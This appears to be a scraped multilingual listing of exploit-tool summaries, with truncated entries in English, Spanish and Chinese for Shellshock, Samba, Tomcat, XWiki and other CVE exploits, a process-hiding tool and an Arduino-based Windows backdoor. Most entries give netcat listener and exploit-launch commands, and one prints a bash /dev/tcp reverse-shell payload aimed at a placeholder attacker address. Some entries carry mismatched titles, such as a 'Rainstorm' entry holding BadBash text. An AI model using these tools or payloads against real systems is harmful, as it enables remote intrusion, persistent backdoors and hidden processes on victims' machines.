BadBash

BadBash CVE-2014-6271 ShellShock RCE PoC tool ======= BadBash is a CVE-2014-6271 RCE exploit tool. The basic version only checks for the HTTP CGI site and only provides netcat reverse shell on port 1234. Developer : Andy Yang Version : 0.1.0 License : GPLv3 Orginal github project :...

CrestCrack

CrestCrack CrestCrack es un script simple que explota CVE-2016-5640 / CLVA-2016-05-002 en Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1. Al proporcionarle argumentos, CrestCrack utilizará netcat para crear una reverse shell entre tu objetivo y un listener netcat de tu elección. Configuración: 1...

CVE-2018-8174_EXP

CVE-2018-8174EXP usage: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit para CVE-2018-8174 argumentos opcionales: -h, --help muestra este mensaje de ayuda y sale -u URL, --url URL url del exploit -o OUTPUT, --output OUTPUT Archivo rtf de salida del exploit -i IP, --ip IP ip para netcat...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

Arduino-Netcat-Backdoor

Arduino - Netcat - Windows 后门 欢迎提供命名建议。 root@kitploit: 概念验证。不适用于实际使用。 我对他人使用此工具造成的后果不承担责任。 攻击运行 Windows 7 及以上版本的 Windows 机器，创建持久后门。 功能 Arduino 脚本从服务器将批处理脚本保存到 Windows 启动文件夹。该脚本检查 netcat 可执行文件是否存在于特定位置，必要时从服务器下载并启动它，链接到命令提示符。因此任何人都可以进入机器的命令提示符。 然后脚本向服务器发送一个请求，其中包含机器的 IP 地址。 环境要求 Arduino 脚本 Arduino...

CVE-2024-36401

CVE-2024-36401 这是用于检查CVE-2024-36401漏洞的程序。 使用方法 首先，执行以下命令，进入通信监听状态。 root@kitploit: nc -lvnp 9000 然后在另一个终端窗口中执行文件。 root@kitploit: python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 目标的域名或IP地址 --targetport 托管目标服务的端口号 --myip 自己的IP地址 --myport...

CVE-2017-13089

CVE-2017-13089 CVE-2017-13089 的payload 的生成程序，此版本需要手动定位出需要执行的栈的地址 直接是也是有可能成功的 shellcode 部分中 buf 为利用msf生成出的普通payload 直接替换你所需的payload即可 使用方法如下： python shellcode.py&nc -lp 80payload...

poc-redis

Para ejecutar el exploit, extraiga el ZIP adjunto y siga estos pasos en Linux: 1. Configure un virtualenv/instale el cliente de Redis root@kitploit: $ python3 -m venv .venv $ source .venv/bin/activate $ pip install -r requirements.txt 2. En otra terminal, ejecute la imagen docker de Redis O...

CVE-2026-23744

CVE-2026-23744 script de python para explotar CVE-2026-23744 cómo usarlo : lo primero que debes hacer es abrir dos terminales primer terminal -- nc -nvlp 4444 segundo terminal -- python CVE-2026-23744.py -lhost tu ip -url url objetivo para el menú de ayuda : python CVE-2026-23744.py -h...

Rainstorm

BadBash 是一个 CVE-2014-6271 远程代码执行漏洞利用工具。基础版本仅针对 HTTP CGI 站点进行检测，并且只提供端口 1234 上的 netcat 反弹 shell。 开发者：Andy Yang 版本：0.1.0 许可证：GPLv3 ================================================================================================ RainMak3r@Could:/Desktop ruby BadBash.rb -h BadBash - CVE-2014-6271...

CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

CVE-2025-24893

CVE-2025-24893 Script POC en Bash para la vulnerabilidad de RCE en XWiki Platform Ejemplo de uso: Configurar un listener de netcat: root@kitploit: $ nc -nvlp Después ejecutar el script: root@kitploit: $ chmod +x cve.sh $ ./cve.sh Versiones afectadas: Desde 5.4 hasta 15.10.11 Desde 16.0.0 hasta...

CVE-2021-21425

CVE-2021-21425 来源：https://www.exploit-db.com/exploits/49973 1 更改目标IP 2 更改有效载荷 echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

BDU-2023-05144

BDU:2023-05144 BDU:2023-05144 Comprobador Nuclei Netcat CMS 6.2.0.23239 Redirección abierta CWE-601...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.20 CVE-2007-2447 漏洞利用工具 root@kitploit: python3 smb3.0.20exp.py -lh localhost -lp local port -t target 创建一个 Netcat 监听器 root@kitploit: nc -nlvp 4444 运行脚本 root@kitploit: python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...

CVE-2018-8174-exp

CVE-2018-8174EXP usage: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit for CVE-2018-8174 可选参数： -h, --help 显示此帮助信息并退出 -u URL, --url URL exp URL -o OUTPUT, --output OUTPUT 输出的漏洞利用RTF文件 -i IP, --ip IP netcat的IP -p PORT, --port PORT netcat的端口 示例： 1. python CVE-2018-8174.py -u...

CVE-2019-0232

Apache Tomcat CVE-2019-0232 漏洞利用工具 此脚本利用 Apache Tomcat 中的 CVE-2019-0232 漏洞，该漏洞由于对 ism.bat 脚本处理不当，可导致远程代码执行。脚本借助 certutil 和 nc.exe（Netcat）的反向 shell 技术，获取对易受攻击系统的远程访问权限。 漏洞概述： CVE ID ：CVE-2019-0232 受影响产品 ：Apache Tomcat 6.x、7.x、8.x 和 9.x 描述 ： CVE-2019-0232 是 Apache Tomcat 处理 ism.bat...

CVE-2023-51385

CVE-2023-51385 RCE en ProxyCommand de OpenSSH 1. Cuando tu ProxyCommand esté configurado de la siguiente manera: root@kitploit: Host .com ProxyCommand /usr/bin/nc -X connect -x 127.0.0.1:7890 %h %p 2. Usa el siguiente comando como prueba de concepto root@kitploit: git clone...

CVE-2025-49596-PoC

CVE-2026-23744-PoC PoC automatizado para CVE-2026-23744 RCE en el inspector MCPJam anterior a la versión 1.4.2 en objetivos Linux Cómo usar root@kitploit: use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.c...

CVE-2007-2447

CVE-2007-2447 Para probar el script, recomiendo la máquina virtual "Metasploitable 2" disponible aquí. El script mostrará una reverse shell si el exploit funciona. Para obtener la conexión, simplemente abra una sesión de netcat como: root@kitploit: netcat -lnvp Tabla de contenidos Ejemplos...